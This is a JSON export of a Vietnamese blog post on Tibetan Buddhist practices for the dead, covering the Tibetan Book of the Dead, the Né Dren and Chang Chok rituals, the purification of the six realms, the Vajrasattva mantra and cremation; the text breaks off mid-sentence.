{"id":3871,"date":"2023-11-29T18:15:01","date_gmt":"2023-11-29T11:15:01","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3871"},"modified":"2024-12-21T00:43:05","modified_gmt":"2024-12-20T17:43:05","slug":"tu-luyen-phat-giao-tay-tang-cho-nguoi-chet","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3871","title":{"rendered":"Tu luy\u1ec7n Ph\u1eadt gi\u00e1o T\u00e2y T\u1ea1ng cho ng\u01b0\u1eddi ch\u1ebft"},"content":{"rendered":"<ol>\n<li><em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft <\/em><\/li>\n<\/ol>\n<p>\u1ede T\u00e2y T\u1ea1ng m\u1ed9t khi th\u1ef1c h\u00e0nh chuy\u1ec3n th\u1ee9c \u0111\u00e3 \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft, <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> \u0111\u01b0\u1ee3c \u0111\u1ecdc l\u1eb7p \u0111i l\u1eb7p l\u1ea1i v\u00e0 c\u00e1c tu luy\u1ec7n \u0111\u01b0\u1ee3c li\u00ean k\u1ebft v\u1edbi n\u00f3 \u0111\u01b0\u1ee3c ti\u1ebfn h\u00e0nh. \u1ede mi\u1ec1n \u0111\u00f4ng T\u00e2y T\u1ea1ng ch\u00fang t\u00f4i th\u01b0\u1eddng c\u00f3 truy\u1ec1n th\u1ed1ng \u0111\u1ecdc <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> trong to\u00e0n b\u1ed9 b\u1ed1n m\u01b0\u01a1i ch\u00edn ng\u00e0y sau ch\u1ebft. Th\u00f4ng qua vi\u1ec7c \u0111\u1ecdc n\u00e0y, ng\u01b0\u1eddi ch\u1ebft \u0111\u01b0\u1ee3c ch\u1ec9 cho h\u1ecd \u0111ang \u1edf giai \u0111o\u1ea1n n\u00e0o c\u1ee7a qu\u00e1 tr\u00ecnh ch\u1ebft, v\u00e0 \u0111\u01b0\u1ee3c trao b\u1ea5t k\u00ec ch\u1ec9 d\u1eabn v\u00e0 h\u01b0\u1edbng d\u1eabn m\u00e0 h\u1ecd c\u1ea7n.<\/p>\n<p>Ng\u01b0\u1eddi ph\u01b0\u01a1ng T\u00e2y th\u01b0\u1eddng hay h\u1ecfi t\u00f4i: L\u00e0m sao ng\u01b0\u1eddi ch\u1ebft nghe th\u1ea5y <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>?<\/p>\n<p>L\u1eddi \u0111\u00e1p \u0111\u01a1n gi\u1ea3n l\u00e0 \u1edf ch\u1ed7 t\u00e2m th\u1ee9c c\u1ee7a ng\u01b0\u1eddi ch\u1ebft, khi \u0111\u01b0\u1ee3c kh\u1ea9n c\u1ea7u b\u1edfi s\u1ee9c m\u1ea1nh c\u1ee7a l\u1eddi c\u1ea7u nguy\u1ec7n, c\u00f3 kh\u1ea3 n\u0103ng \u0111\u1ecdc \u0111\u01b0\u1ee3c t\u00e2m tr\u00ed c\u1ee7a ch\u00fang ta v\u00e0 c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y \u0111\u00edch x\u00e1c b\u1ea5t k\u00ec c\u00e1i g\u00ec ch\u00fang ta c\u00f3 th\u1ec3 ngh\u0129 hay suy ng\u1eabm. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao kh\u00f4ng c\u00f3 ch\u01b0\u1edbng ng\u1ea1i n\u00e0o cho vi\u1ec7c hi\u1ec3u c\u1ee7a ng\u01b0\u1eddi ch\u1ebft v\u1ec1 <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> hay nh\u1eefng th\u1ef1c h\u00e0nh \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n nh\u00e2n danh h\u1ecd, cho d\u00f9 ch\u00fang c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c \u0111\u1ecdc bng ti\u1ebfng T\u00e2y T\u1ea1ng. V\u1edbi ng\u01b0\u1eddi ch\u1ebft, ng\u00f4n ng\u1eef kh\u00f4ng l\u00e0 r\u00e0o ch\u1eafn ch\u00fat n\u00e0o, v\u00ec <em>ngh\u0129a<\/em> b\u1ea3n ch\u1ea5t c\u1ee7a v\u0103n b\u1ea3n c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c hi\u1ec3u \u0111\u1ea7y \u0111\u1ee7 v\u00e0 tr\u1ef1c ti\u1ebfp b\u1edfi t\u00e2m tr\u00ed c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3.<\/p>\n<p>\u0110i\u1ec1u n\u00e0y khi\u1ebfn cho ng\u01b0\u1eddi h\u00e0nh l\u1ec5 ph\u1ea3i \u0111\u01b0\u1ee3c h\u1ed9i t\u1ee5 v\u00e0 ch\u0103m ch\u00fa nhi\u1ec1u nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c khi l\u00e0m tu luy\u1ec7n, v\u00e0 kh\u00f4ng \u0111\u01a1n gi\u1ea3n th\u1ef1c hi\u1ec7n n\u00f3 nh\u01b0 v\u1eb9t. C\u0169ng v\u1eady, v\u00ec ng\u01b0\u1eddi ch\u1ebft \u0111ang s\u1ed1ng trong kinh nghi\u1ec7m th\u1ef1c t\u1ea1i, ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 n\u0103ng l\u1ef1c l\u1edbn hi\u1ec3u ch\u00e2n l\u00ed c\u1ee7a <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> c\u00f2n l\u1edbn h\u01a1n ch\u00fang ta hi\u1ec3u!<\/p>\n<p>T\u00f4i \u0111\u00f4i khi \u0111\u01b0\u1ee3c h\u1ecfi: &#8220;Nh\u01b0ng \u0111i\u1ec1u g\u00ec x\u1ea3y ra n\u1ebfu t\u00e2m th\u1ee9c v\u1eabn c\u00f2n b\u1ecb ng\u00e2y ng\u1ea5t trong tr\u1ea1ng th\u00e1i l\u00e3ng qu\u00ean v\u00e0o kho\u1ea3nh kh\u1eafc ch\u1ebft?&#8221; V\u00ec ch\u00fang ta kh\u00f4ng bi\u1ebft ng\u01b0\u1eddi ch\u1ebft s\u1ebd c\u00f2n l\u1ea1i bao l\u00e2u trong tr\u1ea1ng th\u00e1i v\u00f4 \u00fd th\u1ee9c, v\u00e0 \u1edf \u0111i\u1ec3m n\u00e0o ng\u01b0\u1eddi \u0111\u00f3 s\u1ebd \u0111i v\u00e0o trung \u1ea5m tr\u1edf th\u00e0nh, <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> \u0111\u01b0\u1ee3c \u0111\u1ecdc v\u00e0 th\u1ef1c h\u00e0nh l\u1eb7p \u0111i l\u1eb7p l\u1ea1i, \u0111\u1ec3 bao qu\u00e1t b\u1ea5t k\u00ec t\u00ecnh hu\u1ed1ng n\u00e0o c\u00f3 th\u1ec3 x\u1ea3y ra.<\/p>\n<p>Nh\u01b0ng v\u1ec1 nh\u1eefng ng\u01b0\u1eddi kh\u00f4ng quen thu\u1ed9c v\u1edbi c\u00e1c gi\u00e1o hu\u1ea5n hay <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> th\u00ec sao: Ch\u00fang ta c\u00f3 n\u00ean \u0111\u1ecdc n\u00f3 cho h\u1ecd kh\u00f4ng? \u0110\u1ea1t lai L\u1ea1t ma cho ch\u00fang ta l\u1eddi h\u01b0\u1edbng d\u1eabn d\u1eabn r\u00f5 r\u00e0ng n\u00e0y:<\/p>\n<p>&nbsp;<\/p>\n<p>D\u00f9 b\u1ea1n c\u00f3 tin v\u00e0o t\u00f4n gi\u00e1o hay kh\u00f4ng \u0111i\u1ec1u r\u1ea5t quan tr\u1ecdng l\u00e0 ph\u1ea3i c\u00f3 t\u00e2m tr\u00ed an b\u00ecnh v\u00e0o th\u1eddi \u0111i\u1ec3m ch\u1ebft &#8230; Theo quan \u0111i\u1ec3m Ph\u1eadt gi\u00e1o, d\u00f9 ng\u01b0\u1eddi ch\u1ebft c\u00f3 tin v\u00e0o t\u00e1i sinh hay kh\u00f4ng, vi\u1ec7c t\u00e1i sinh c\u1ee7a h\u1ecd v\u1eabn t\u1ed3n t\u1ea1i, v\u00e0 do v\u1eady m\u1ed9t t\u00e2m tr\u00ed an b\u00ecnh, th\u1eadm ch\u00ed n\u1ebfu n\u00f3 l\u00e0 trung l\u1eadp, l\u00e0 quan tr\u1ecdng v\u00e0o l\u00fac ch\u1ebft. N\u1ebfu m\u1ed9t ng\u01b0\u1eddi l\u00e0 ng\u01b0\u1eddi kh\u00f4ng tin, vi\u1ec7c \u0111\u1ecdc S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft c\u00f3 th\u1ec3 khu\u1ea5y \u0111\u1ed9ng t\u00e2m tr\u00ed h\u1ecd &#8230; n\u00f3 c\u00f3 th\u1ec3 l\u00e0m n\u1ea3y sinh kh\u00f4ng th\u00edch v\u00e0 do v\u1eady th\u1eadm ch\u00ed g\u00e2y h\u1ea1i cho h\u1ecd thay v\u00ec gi\u00fap \u0111\u1ee1 h\u1ecd. Tuy nhi\u00ean, trong tr\u01b0\u1eddng h\u1ee3p m\u1ed9t ng\u01b0\u1eddi l\u00e0 m\u1edf v\u1edbi n\u00f3, nh\u1eefng m\u1eadt ch\u00fa hay t\u00ean ch\u01b0 ph\u1eadt c\u00f3 th\u1ec3 gi\u00fap h\u1ecd ph\u00e1t sinh m\u1ed9t lo\u1ea1i k\u1ebft n\u1ed1i n\u00e0o \u0111\u00f3, v\u00e0 do v\u1eady c\u00f3 th\u1ec3 c\u00f3 gi\u00fap \u00edch. Tr\u00ean h\u1ebft, \u0111i\u1ec1u quan tr\u1ecdng c\u1ea7n t\u00ednh t\u1edbi l\u00e0 th\u00e1i \u0111\u1ed9 c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft.&#8221;<a href=\"#_edn1\" name=\"_ednref1\"><strong>[i]<\/strong><\/a><\/p>\n<p><em>\u00a0<\/em><\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"2\">\n<li><em> N\u00e9 Dren v\u00e0 Chang Chok <\/em><\/li>\n<\/ol>\n<p>\u0110i k\u00e8m v\u1edbi vi\u1ec7c \u0111\u1ecdc <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> l\u00e0 vi\u1ec7c th\u1ef1c h\u00e0nh <em>N\u00e9 Dren<\/em>, nghi l\u1ec5 cho vi\u1ec7c h\u01b0\u1edbng d\u1eabn cho ng\u01b0\u1eddi ch\u1ebft, hay <em>Chang Chok<\/em>, nghi l\u1ec5 l\u00e0m thu\u1ea7n khi\u1ebft, trong \u0111\u00f3 m\u1ed9t th\u1ea7y s\u1ebd h\u01b0\u1edbng d\u1eabn t\u00e2m th\u1ee9c c\u1ee7a ng\u01b0\u1eddi ch\u1ebft t\u1edbi t\u00e1i sinh t\u1ed1t h\u01a1n.<\/p>\n<p>M\u1ed9t c\u00e1ch l\u00ed t\u01b0\u1edfng, N\u00e9 Dren hay Chang Chok n\u00ean \u0111\u01b0\u1ee3c ti\u1ebfn h\u00e0nh ngay sau ch\u1ebft, hay \u00edt nh\u1ea5t trong v\u00f2ng b\u1ed1n m\u01b0\u01a1i ch\u00edn ng\u00e0y. N\u1ebfu thi th\u1ec3 kh\u00f4ng hi\u1ec7n di\u1ec7n, t\u00e2m th\u1ee9c c\u1ee7a ng\u01b0\u1eddi qu\u00e1 c\u1ed1 s\u1ebd \u0111\u01b0\u1ee3c m\u1eddi \u0111\u1ebfn trong m\u1ed9t h\u00ecnh nh\u00e2n kh\u1eafc t\u01b0\u1ee3ng tr\u01b0ng hay tr\u00ean b\u00e0i v\u1ecb b\u1eb1ng b\u00eca v\u1ebd ch\u00e2n dung c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 k\u00e8m t\u00ean h\u1ecd, hay th\u1eadm ch\u00ed l\u00e0 m\u1ed9t b\u1ee9c \u1ea3nh ch\u1ee5p, \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 <em>tsenjang<\/em>. N\u00e9 Dren hay Chang Chok l\u1ea5y \u0111\u01b0\u1ee3c s\u1ee9c m\u1ea1nh c\u1ee7a ch\u00fang t\u1eeb s\u1ef1 ki\u1ec7n r\u1eb1ng trong th\u1eddi k\u00ec ngay sau ch\u1ebft, ng\u01b0\u1eddi ch\u1ebft s\u1ebd c\u00f3 c\u1ea3m gi\u00e1c m\u1ea1nh m\u1ebd v\u1ec1 vi\u1ec7c s\u1edf h\u1eefu th\u00e2n c\u1ee7a cu\u1ed9c \u0111\u1eddi v\u1eeba qua c\u1ee7a n\u00f3.<\/p>\n<p>Th\u00f4ng qua s\u1ee9c m\u1ea1nh thi\u1ec1n c\u1ee7a th\u1ea7y, t\u00e2m th\u1ee9c c\u1ee7a ng\u01b0\u1eddi ch\u1ebft, \u0111ang lang thang v\u00f4 \u0111\u1ecbnh trong trung \u1ea5m, \u0111\u01b0\u1ee3c g\u1ecdi tr\u1edf v\u1ec1 tsenjang (h\u00ecnh nh\u00e2n hay b\u00e0i v\u1ecb), \u0111\u1ea1i di\u1ec7n cho c\u0103n c\u01b0\u1edbc c\u1ee7a ng\u01b0\u1eddi ch\u1ebft. Th\u1ebf r\u1ed3i t\u00e2m th\u1ee9c \u0111\u01b0\u1ee3c l\u00e0m thu\u1ea7n khi\u1ebft; c\u00e1c ch\u1ee7ng t\u1eed nghi\u1ec7p c\u1ee7a s\u00e1u c\u00f5i gi\u1edbi \u0111\u01b0\u1ee3c xo\u00e1 s\u1ea1ch; gi\u00e1o hu\u1ea5n \u0111\u01b0\u1ee3c cho nh\u01b0 trong cu\u1ed9c s\u1ed1ng; v\u00e0 ng\u01b0\u1eddi ch\u1ebft \u0111\u01b0\u1ee3c gi\u1edbi thi\u1ec7u v\u1ec1 b\u1ea3n t\u00ednh c\u1ee7a t\u00e2m tr\u00ed. Cu\u1ed1i c\u00f9ng chuy\u1ec3n th\u1ee9c s\u1ebd c\u00f3 hi\u1ec7u l\u1ef1c v\u00e0 t\u00e2m th\u1ee9c ng\u01b0\u1eddi ch\u1ebft \u0111\u01b0\u1ee3c h\u01b0\u1edbng tr\u1ef1c ti\u1ebfp v\u1ec1 m\u1ed9t trong nh\u1eefng c\u00f5i Ph\u1eadt. Th\u1ebf r\u1ed3i tsenjang, bi\u1ec3u th\u1ecb cho c\u0103n c\u01b0\u1edbc c\u0169 c\u1ee7a c\u00e1 nh\u00e2n n\u00e0y &#8211; nay b\u1ecb lo\u1ea1i b\u1ecf, s\u1ebd \u0111\u01b0\u1ee3c \u0111em \u0111\u1ed1t v\u00e0 nghi\u1ec7p c\u1ee7a h\u1ecd \u0111\u01b0\u1ee3c l\u00e0m thu\u1ea7n khi\u1ebft.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"3\">\n<li><em> L\u00e0m thu\u1ea7n khi\u1ebft s\u00e1u c\u00f5i gi\u1edbi <\/em><\/li>\n<\/ol>\n<p>Th\u1ea7y t\u00f4i \u0110\u1ea1i s\u01b0 Dilgo Khyentse th\u01b0\u1eddng hay n\u00f3i r\u1eb1ng vi\u1ec7c th\u1ef1c h\u00e0nh \u0111\u01b0\u1ee3c bi\u1ebft l\u00e0 &#8220;l\u00e0m thu\u1ea7n khi\u1ebft s\u00e1u c\u00f5i gi\u1edbi&#8221; l\u00e0 vi\u1ec7c th\u1ef1c h\u00e0nh l\u00e0m thu\u1ea7n khi\u1ebft t\u1ed1t nh\u1ea5t \u0111\u1ed1i v\u1edbi ng\u01b0\u1eddi tu luy\u1ec7n v\u1eeba ch\u1ebft.<\/p>\n<p>L\u00e0m thu\u1ea7n khi\u1ebft s\u00e1u c\u00f5i gi\u1edbi l\u00e0 vi\u1ec7c tu luy\u1ec7n \u0111\u01b0\u1ee3c d\u00f9ng trong cu\u1ed9c s\u1ed1ng h\u00e0ng ng\u00e0y, s\u1eed d\u1ee5ng c\u00e1ch qu\u00e1n t\u01b0\u1edfng v\u00e0 thi\u1ec1n \u0111\u1ec3 l\u00e0m thu\u1ea7n khi\u1ebft th\u00e2n th\u1ec3 c\u1ee7a t\u1eebng c\u1ea3m x\u00fac trong s\u00e1u c\u1ea3m x\u00fac ti\u00eau c\u1ef1c ch\u00ednh, c\u00f9ng v\u1edbi nh\u1eefng c\u00f5i gi\u1edbi c\u1ee7a s\u1ef1 t\u1ed3n t\u1ea1i m\u00e0 ch\u00fang t\u1ea1o ra. N\u00f3 c\u0169ng c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c d\u00f9ng r\u1ea5t hi\u1ec7u qu\u1ea3 cho ng\u01b0\u1eddi ch\u1ebft, v\u00e0 \u0111\u1eb7c bi\u1ec7t m\u1ea1nh m\u1ebd v\u00ec n\u00f3 l\u00e0m thu\u1ea7n khi\u1ebft r\u1ec5 nghi\u1ec7p c\u1ee7a h\u1ecd, v\u00e0 do v\u1eady l\u00e0m thu\u1ea7n khi\u1ebft c\u1ea3 k\u1ebft n\u1ed1i c\u1ee7a h\u1ecd v\u1edbi lu\u00e2n h\u1ed3i. \u0110\u00e2y l\u00e0 \u0111i\u1ec1u b\u1ea3n ch\u1ea5t; n\u1ebfu nh\u1eefng c\u1ea3m x\u00fac ti\u00eau c\u1ef1c n\u00e0y kh\u00f4ng \u0111\u01b0\u1ee3c l\u00e0m thu\u1ea7n khi\u1ebft, ch\u00fang s\u1ebd sai khi\u1ebfn c\u00f5i lu\u00e2n h\u1ed3i m\u00e0 ng\u01b0\u1eddi ch\u1ebft s\u1ebd \u0111\u01b0\u1ee3c sinh v\u00e0o \u0111\u00f3.<\/p>\n<p>Theo Tantra \u0110\u1ea1i To\u00e0n thi\u1ec7n, c\u00e1c c\u1ea3m x\u00fac ti\u00eau c\u1ef1c t\u00edch lu\u1ef9 trong h\u1ec7 th\u1ed1ng t\u00e2m l\u00ed-v\u1eadt l\u00ed bao g\u1ed3m c\u00e1c k\u00eanh vi t\u1ebf, kh\u00ed b\u00ean trong, v\u00e0 n\u0103ng l\u01b0\u1ee3ng, v\u00e0 t\u1ee5 t\u1eadp t\u1ea1i c\u00e1c trung t\u00e2m n\u0103ng l\u01b0\u1ee3ng \u0111\u1eb7c bi\u1ec7t trong th\u00e2n th\u1ec3. Cho n\u00ean h\u1ea1t m\u1ea7m c\u1ee7a c\u00f5i \u0111\u1ecba ng\u1ee5c v\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a n\u00f3, gi\u1eadn, \u0111\u01b0\u1ee3c \u0111\u1ecbnh v\u1ecb \u1edf l\u00f2ng b\u00e0n ch\u00e2n; c\u00f5i ng\u1ea1 qu\u1ec9 v\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a n\u00f3, tham, n\u1eb1m \u1edf \u0111\u00e1y th\u00e2n ng\u01b0\u1eddi; c\u00f5i s\u00fac sinh v\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a n\u00f3, v\u00f4 minh, n\u1eb1m \u1edf r\u1ed1n; c\u00f5i ng\u01b0\u1eddi v\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a n\u00f3, ho\u00e0i nghi, n\u1eb1m \u1edf tim; c\u00f5i \u00e1 th\u1ea7n v\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a n\u00f3, ghen t\u1ecb, n\u1eb1m \u1edf c\u1ed5 h\u1ecdng; c\u00f2n c\u00f5i th\u1ea7n v\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a n\u00f3, ki\u00eau ng\u1ea1o, n\u1eb1m \u1edf \u0111\u1ec9nh \u0111\u1ea7u.<\/p>\n<p>Trong khi tu luy\u1ec7n l\u00e0m thu\u1ea7n khi\u1ebft s\u00e1u c\u00f5i gi\u1edbi, khi t\u1eebng c\u00f5i gi\u1edbi v\u00e0 c\u1ea3m x\u00fac ti\u00eau c\u1ef1c c\u1ee7a n\u00f3 \u0111\u01b0\u1ee3c l\u00e0m thu\u1ea7n khi\u1ebft, ng\u01b0\u1eddi tu luy\u1ec7n h\u00ecnh dung r\u1eb1ng m\u1ecdi nghi\u1ec7p \u0111\u01b0\u1ee3c t\u1ea1o ra b\u1edfi c\u1ea3m x\u00fac ti\u00eau c\u1ef1c \u0111\u00f3 b\u00e2y gi\u1edd b\u1ecb v\u00e9t c\u1ea1n, v\u00e0 r\u1eb1ng b\u1ed9 ph\u1eadn \u0111\u1eb7c bi\u1ec7t c\u1ee7a th\u00e2n th\u1ec3 li\u00ean k\u1ebft v\u1edbi nghi\u1ec7p c\u1ee7a c\u1ea3m x\u00fac \u0111\u1eb7c bi\u1ec7t tan bi\u1ebfn to\u00e0n b\u1ed9 trong \u00e1nh s\u00e1ng. Cho n\u00ean khi b\u1ea1n l\u00e0m th\u1ef1c h\u00e0nh n\u00e0y cho ng\u01b0\u1eddi ch\u1ebft, t\u01b0\u1edfng t\u01b0\u1ee3ng b\u1eb1ng t\u1ea5t c\u1ea3 tim v\u00e0 t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n r\u1eb1ng, v\u00e0o l\u00fac cu\u1ed1i c\u1ee7a th\u1ef1c h\u00e0nh, m\u1ecdi nghi\u1ec7p c\u1ee7a h\u1ecd \u0111\u01b0\u1ee3c l\u00e0m thu\u1ea7n khi\u1ebft, v\u00e0 th\u00e2n th\u1ec3 v\u00e0 to\u00e0n th\u1ec3 con ng\u01b0\u1eddi h\u1ecd tan bi\u1ebfn trong \u00e1nh s\u00e1ng to\u1ea3 chi\u1ebfu.<a href=\"#_edn2\" name=\"_ednref2\">[ii]<\/a><\/p>\n<p>&nbsp;<\/p>\n<ol start=\"4\">\n<li><em> Th\u1ef1c h\u00e0nh m\u1ed9t tr\u0103m th\u1ea7n An b\u00ecnh v\u00e0 Ph\u1eabn n\u1ed9 <\/em><\/li>\n<\/ol>\n<p>Ph\u01b0\u01a1ng ti\u1ec7n kh\u00e1c \u0111\u1ec3 gi\u00fap \u0111\u1ee1 ng\u01b0\u1eddi ch\u1ebft l\u00e0 th\u1ef1c h\u00e0nh v\u1ec1 m\u1ed9t tr\u0103m th\u1ea7n An b\u00ecnh v\u00e0 Ph\u1eabn n\u1ed9. (C\u00e1c th\u1ea7n n\u00e0y \u0111\u00e3 \u0111\u01b0\u1ee3c m\u00f4 t\u1ea3 trong ch\u01b0\u01a1ng 17, &#8220;To\u1ea3 chi\u1ebfu b\u00ean trong.&#8221;) Ng\u01b0\u1eddi th\u1ef1c h\u00e0nh coi to\u00e0n th\u1ec3 th\u00e2n m\u00ecnh nh\u01b0 m\u1ed9t \u0111\u1ed3 h\u00ecnh v\u1ec1 m\u1ed9t tr\u0103m th\u1ea7n An b\u00ecnh v\u00e0 Ph\u1eabn n\u1ed9; c\u00e1c th\u1ea7n an b\u00ecnh \u0111\u01b0\u1ee3c qu\u00e1n t\u01b0\u1edfng \u1edf trung t\u00e2m n\u0103ng l\u01b0\u1ee3ng trong tim c\u00f2n c\u00e1c th\u1ea7n ph\u1eabn n\u1ed9 \u1edf trong \u00f3c. Th\u1ebf r\u1ed3i ng\u01b0\u1eddi th\u1ef1c h\u00e0nh h\u00ecnh dung r\u1eb1ng c\u00e1c th\u1ea7n to\u1ea3 ra h\u00e0ng ngh\u00ecn tia s\u00e1ng, bao tr\u00f9m l\u00ean ng\u01b0\u1eddi ch\u1ebft v\u00e0 l\u00e0m thu\u1ea7n khi\u1ebft m\u1ecdi nghi\u1ec7p x\u1ea5u c\u1ee7a h\u1ecd.<\/p>\n<p>M\u1eadt ch\u00fa l\u00e0m thu\u1ea7n khi\u1ebft m\u00e0 ng\u01b0\u1eddi th\u1ef1c h\u00e0nh \u0111\u1ecdc l\u00e0 m\u1eadt ch\u00fa v\u1ec1 Kim C\u01b0\u01a1ng T\u00e1t \u0110o\u1ea3, th\u1ea7n th\u1ed1ng l\u0129nh m\u1ecdi \u0111\u1ed3 h\u00ecnh Tantra, th\u1ea7n trung t\u00e2m c\u1ee7a \u0111\u1ed3 h\u00ecnh v\u1ec1 m\u1ed9t tr\u0103m th\u1ea7n An b\u00ecnh v\u00e0 Ph\u1eabn n\u1ed9, ng\u01b0\u1eddi c\u00f3 quy\u1ec1n n\u0103ng \u0111\u01b0\u1ee3c kh\u1ea9n c\u1ea7u \u0111\u1eb7c bi\u1ec7t \u0111\u1ec3 l\u00e0m thu\u1ea7n khi\u1ebft v\u00e0 \u0111\u1ec3 ch\u1eefa l\u00e0nh. \u0110\u00e2y l\u00e0 &#8220;M\u1eadt ch\u00fa m\u1ed9t tr\u0103m \u00e2m,&#8221; bao g\u1ed3m &#8220;c\u00e1c \u00e2m ch\u1ee7ng t\u1eed&#8221; v\u1ec1 t\u1eebng th\u1ea7n trong s\u1ed1 M\u1ed9t tr\u0103m th\u1ea7n An b\u00ecnh v\u00e0 Ph\u1eabn n\u1ed9.<a href=\"#_edn3\" name=\"_ednref3\">[iii]<\/a><\/p>\n<p>B\u1ea1n c\u00f3 th\u1ec3 d\u00f9ng m\u1ed9t d\u1ea1ng \u0111\u1ecdc ng\u1eafn, s\u00e1u \u00e2m c\u1ee7a m\u1eadt ch\u00fa Kim C\u01b0\u01a1ng T\u00e1t \u0110o\u1ea3: OM VAJRA SATTVA HUM (\u0111\u1ecdc theo ti\u1ebfng T\u00e2y T\u1ea1ng l\u00e0: Om Benza Satto Hung). Ngh\u0129a b\u1ea3n ch\u1ea5t c\u1ee7a m\u1eadt ch\u00fa n\u00e0y l\u00e0, &#8220;\u00d4i Kim C\u01b0\u01a1ng T\u00e1t \u0110o\u1ea3! Qua quy\u1ec1n n\u0103ng c\u1ee7a ng\u00e0i c\u1ea7u xin ng\u00e0i \u0111em l\u1ea1i s\u1ef1 thu\u1ea7n khi\u1ebft, ch\u1eefa l\u00e0nh, v\u00e0 bi\u1ebfn \u0111\u1ed5i.&#8221; T\u00f4i m\u1ea1nh m\u1ebd gi\u1edbi thi\u1ec7u cho b\u1ea1n v\u1ec1 m\u1eadt ch\u00fa n\u00e0y cho vi\u1ec7c ch\u1eefa l\u00e0nh v\u00e0 l\u00e0m thu\u1ea7n khi\u1ebft.<\/p>\n<p>M\u1ed9t m\u1eadt ch\u00fa quan tr\u1ecdng kh\u00e1c, c\u00f3 trong Tantra \u0110\u1ea1i To\u00e0n thi\u1ec7n v\u00e0 trong c\u00e1c tu luy\u1ec7n li\u00ean quan t\u1edbi <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> l\u00e0 &#8216;A A HA SHA SA MA&#8217;. S\u00e1u \u00e2m c\u1ee7a m\u1eadt ch\u00fa n\u00e0y c\u00f3 quy\u1ec1n n\u0103ng &#8220;\u0111\u00f3ng c\u1eeda&#8221; v\u00e0o s\u00e1u c\u00f5i lu\u00e2n h\u1ed3i.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"5\">\n<li><em> Ho\u1ea3 t\u00e1ng <\/em><\/li>\n<\/ol>\n<p>N\u00f3i chung trong nhi\u1ec1u truy\u1ec1n th\u1ed1ng ph\u01b0\u01a1ng \u0110\u00f4ng, <em>ho\u1ea3 t\u00e1ng<\/em> l\u00e0 c\u00e1ch hu\u1ef7 b\u1ecf t\u1eed thi. Theo Ph\u1eadt gi\u00e1o T\u00e2y T\u1ea1ng c\u0169ng c\u00f2n c\u00f3 nh\u1eefng th\u1ef1c h\u00e0nh \u0111\u1eb7c bi\u1ec7t cho vi\u1ec7c ho\u1ea3 t\u00e1ng. N\u01a1i ho\u1ea3 t\u00e1ng hay d\u00e0n ho\u1ea3 thi\u00eau \u0111\u01b0\u1ee3c qu\u00e1n t\u01b0\u1edfng nh\u01b0 m\u1ed9t \u0111\u1ed3 h\u00ecnh v\u1ec1 Kim C\u01b0\u01a1ng T\u00e1t \u0110o\u1ea3, hay v\u1ec1 M\u1ed9t tr\u0103m th\u1ea7n An b\u00ecnh v\u00e0 Ph\u1eabn n\u1ed9. Nh\u1eefng th\u1ea7n n\u00e0y \u0111\u01b0\u1ee3c qu\u00e1n t\u01b0\u1edfng m\u1ea1nh m\u1ebd v\u00e0 s\u1ef1 hi\u1ec7n di\u1ec7n c\u1ee7a h\u1ecd \u0111\u01b0\u1ee3c kh\u1ea9n c\u1ea7u t\u1edbi. Thi th\u1ec3 ng\u01b0\u1eddi ch\u1ebft \u0111\u01b0\u1ee3c xem nh\u01b0 bi\u1ec3u th\u1ecb th\u1ef1c t\u1ea1i cho m\u1ecdi nghi\u1ec7p x\u1ea5u v\u00e0 ch\u01b0\u1edbng ng\u1ea1i c\u1ee7a h\u1ecd. Khi thi th\u1ec3 b\u00f9ng ch\u00e1y, c\u00e1c nghi\u1ec7p x\u1ea5u n\u00e0y \u0111\u01b0\u1ee3c c\u00e1c th\u1ea7n ti\u00eau th\u1ee5 trong b\u1eefa ti\u1ec7c l\u1edbn, \u0111\u01b0\u1ee3c chuy\u1ec3n ho\u00e1 th\u00e0nh b\u1ea3n t\u00ednh tr\u00ed tu\u1ec7. C\u00e1c tia s\u00e1ng \u0111\u01b0\u1ee3c h\u00ecnh dung th\u00e0nh m\u1ed9t lu\u1ed3ng s\u00e1ng ph\u00e1t t\u1eeb c\u00e1c th\u1ea7n; thi 